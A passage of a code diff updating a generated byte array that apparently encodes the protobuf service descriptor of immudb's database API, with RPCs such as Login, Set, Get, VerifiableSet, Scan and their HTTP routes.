0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, - 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, - 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, - 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, - 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, - 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, - 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, - 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, + 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, + 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, + 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, + 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, + 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, + 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, + 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, + 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, + 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, + 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, + 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, + 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, + 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, + 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, + 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, + 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, + 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, + 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, + 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, + 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, + 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, + 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, - 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, - 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, - 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, - 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, - 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 